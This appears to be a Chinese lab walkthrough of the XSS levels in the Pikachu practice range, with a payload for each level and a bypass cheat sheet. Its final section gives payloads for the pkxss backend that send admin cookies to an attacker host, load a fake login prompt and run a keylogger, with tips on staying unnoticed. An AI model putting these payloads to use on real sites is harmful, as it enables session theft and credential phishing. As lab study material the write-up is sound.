Pikachu 靶场 XSS 通关笔记:从反射型到盲打与过滤绕过
2026/5/11 7:11:35 网站建设 项目流程

目录

  • 一、基础 XSS 类型

    • 1. 反射型 XSS (GET)
    • 2. 反射型 XSS (POST)
    • 3. 存储型 XSS
    • 4. DOM 型 XSS
    • 5. DOM 型 XSS-x
  • 二、进阶 XSS 场景

    • 6. XSS 之盲打 (Blind XSS)
    • 7. XSS 之过滤
    • 8. XSS 之 htmlspecialchars
    • 9. XSS 之 href 输出
    • 10. XSS 之 JS 输出
  • 三、XSS 绕过速查表

  • 四、Pikachu XSS 后台 (pkxss) 实战

    • 1. Cookie 搜集(窃取管理员 Session)
    • 2. 钓鱼结果(XSS 钓鱼攻击)
    • 3. 键盘记录(Keylogger)

一、基础 XSS 类型

1. 反射型 XSS (GET)

  • 知识点:参数通过 URL 传递,通常受限于 URL 长度。
  • 技巧:直接在输入框输入,若有长度限制,需在 F12 中修改 maxlength​ 属性。
  • Payload:
<script>alert('xss')</script>

2. 反射型 XSS (POST)

  • 知识点:参数在 HTTP Body 中,无法直接通过链接诱导点击。
  • 技巧:需先登录(admin/123456),通过 Burp Suite 观察 POST 请求字段。
  • Payload:
<script>alert(1)</script>

3. 存储型 XSS

  • 知识点:Payload 写入数据库,持久化存储,危害最大。
  • 场景:留言板、评论区、用户信息页。
  • Payload:
<script>alert('stored')</script>

4. DOM 型 XSS

  • 知识点:不经过后端,完全由前端 JS 代码逻辑漏洞引起(如 innerHTML​, document.write​)。
  • 技巧:查看网页源码中的 JS 代码,寻找输入点。这里输入会被拼接到 <a>​ 标签中。
  • Payload:
' onclick="alert(1)">

(闭合前面的标签属性)


5. DOM 型 XSS-x

  • 知识点:与上一关类似,但输入源通常来自 URL 参数。
  • Payload:
'><img src=1 onerror=alert(1)>

二、进阶 XSS 场景

6. XSS 之盲打 (Blind XSS)

  • 知识点:输入的内容不在前端显示,而是发送到了后台管理界面。
  • 技巧:在输入框提交 Payload 后,登录后台地址(/admin.php​)触发。
  • Payload:
<script>alert('blind')</script>

7. XSS 之过滤

  • 知识点:后端对 <script>​ 等关键字做了正则过滤。
  • 绕过技巧:大小写绕过、双写绕过、使用其他标签(如 <img>​, <a>​, <details>​)。
  • Payload:
<img src=1 onerror=alert(1)>

<ScRiPt>alert(1)</ScRiPt>

8. XSS 之 htmlspecialchars

  • 知识点:PHP 的 htmlspecialchars()​ 函数默认不编码单引号。
  • 绕过技巧:如果后台配置不是 ENT_QUOTES​,可以使用单引号闭合属性。
  • Payload:
' onclick='alert(1)'

9. XSS 之 href 输出

  • 知识点:输入被输出在 <a>​ 标签的 href​ 属性中。
  • 绕过技巧:利用 javascript:​ 伪协议。即使做了实体化编码,在 href 中依然可以执行。
  • Payload:
javascript:alert(1)

10. XSS 之 JS 输出

  • 知识点:输入被动态插入到页面的 <script>​ 标签内的变量中。
  • 绕过技巧:闭合当前的 JS 语句或标签。
  • Payload:
';alert(1);//

(先用单引号和分号结束前一句,执行 alert,最后用 //​ 注释掉后面的多余代码)


三、XSS 绕过速查表

场景绕过方法示例
关键字过滤大小写/特殊字符插塞​<sCrIpT>​ / <scr/**/ipt>​
标签被禁换事件型标签​<svg οnlοad=alert(1)>​
引号转义尝试不使用引号​alert(/xss/)​
长度限制外部加载 JS​<script src=//x.cn></script>​

四、Pikachu XSS 后台 (pkxss) 实战

1. Cookie 搜集(窃取管理员 Session)

这是 XSS 最经典的实战用法。目标是利用 XSS 脚本将管理员的登录凭证(Cookie)发送到你的后台。

  • 原理:利用 JS 的 document.cookie​ 获取当前页面的 Cookie,并通过 HTTP 请求发送给第三方服务器。

操作步骤:

  1. 准备接收端:确保你的 pkxss 后台已配置好。接收脚本通常是 pkxss/xcookie/cookie.php​。
  2. 构造 Payload:
<script> document.location = 'http://[你的IP]/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie; </script>

注意:这个 Payload 会导致页面跳转,容易被管理员发现。隐蔽做法是使用 new Image().src​:

<script> new Image().src = 'http://[你的IP]/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie; </script>
  1. 投毒:在"XSS之盲打"页面提交 Payload。
  2. 触发与收网:当管理员登录后台查看消息时,其 Cookie 会自动发送到 cookie搜集​ 模块。

面试加分:面试官问"拿到 Cookie 怎么办?",回答:"使用浏览器插件手动设置 Cookie,刷新即可绕过登录界面。"


2. 钓鱼结果(XSS 钓鱼攻击)

通过 XSS 在目标页面弹出一个伪造的登录框,骗取管理员输入账号密码。

  • 原理:利用 XSS 注入一段 JS 脚本,该脚本会生成一个 Basic Auth​ 认证弹窗,用户输入的账号密码会被发送到 pkxss 的 xfish.php​。

操作步骤:

  1. 查看 pkxss 钓鱼脚本:文件通常在 pkxss/xfish/fish.php​。
  2. 构造 Payload:
<script src="http://[你的IP]/pikachu/pkxss/xfish/fish.php"></script>
  1. 投毒:提交到盲打输入框。
  2. 效果:当管理员查看时,页面会跳出一个带有"需要重新登录"字样的对话框。管理员一旦输入用户名和密码,信息就会记录在 钓鱼结果​ 列表中。

3. 键盘记录(Keylogger)

记录用户在受害页面上的所有按键操作,包括输入的各种表单、即时通讯内容等。

  • 原理:通过 JS 监听 onkeypress​ 事件,实时将捕获到的按键通过 AJAX 发送到攻击者的后台。

操作步骤:

  1. 配置后端:确认 pkxss/xkeylog/rk.php​ 正常运行,并根据需要修改其允许跨域的设置(Access-Control-Allow-Origin)。
  2. 构造 Payload:
<script src="http://[你的IP]/pikachu/pkxss/xkeylog/xkeylog.js"></script>
  1. 投毒:提交到盲打页面。
  2. 效果:只要管理员在该页面停留,他所有的键盘输入(包括退格、回车)都会实时异步发送到 键盘记录​ 模块中。

注意:如果攻击者后台和目标网站域名不同,需要配置后端代码允许跨域接收数据。


需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询